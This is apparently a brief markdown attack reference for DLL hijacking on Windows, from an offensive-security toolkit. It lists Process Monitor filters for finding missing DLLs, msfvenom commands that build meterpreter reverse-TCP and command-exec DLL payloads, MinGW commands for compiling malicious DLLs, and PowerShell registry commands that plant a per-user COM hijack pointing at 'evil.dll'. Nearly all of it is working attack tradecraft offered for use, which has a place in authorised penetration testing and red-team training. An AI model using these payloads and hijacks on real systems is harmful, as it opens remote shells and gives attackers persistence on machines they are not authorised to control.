<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Performing DLL Hijacking

## Procmon Filters
```
# Set these filters in Sysinternals Process Monitor:
Operation is CreateFile    then Include
Result is NAME NOT FOUND   then Include
Path ends with .dll        then Include
```

## msfvenom DLL Generation
```bash
# Reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f dll -o payload.dll

# Exec command
msfvenom -p windows/x64/exec CMD="cmd.exe /c whoami > C:\\temp\\out.txt" -f dll -o exec.dll

# Stageless
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f dll -o stageless.dll
```

## MinGW Cross-Compilation
```bash
# 64-bit DLL
x86_64-w64-mingw32-gcc -shared -o target.dll source.c -lws2_32

# 32-bit DLL
i686-w64-mingw32-gcc -shared -o target.dll source.c -lws2_32

# With exports def file
x86_64-w64-mingw32-gcc -shared -o target.dll source.c exports.def
```

## COM Hijacking Registry
```powershell
# Per-user hijack (HKCU overrides HKLM)
New-Item -Path "HKCU:\SOFTWARE\Classes\CLSID\{CLSID}\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\{CLSID}\InprocServer32" -Name "(Default)" -Value "C:\path\evil.dll"
Set-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\{CLSID}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```

## Hijack Libs Database
```
# https://hijacklibs.net/
# Known vulnerable binaries and their DLL dependencies
# Searchable by vendor, binary name, or DLL name
```
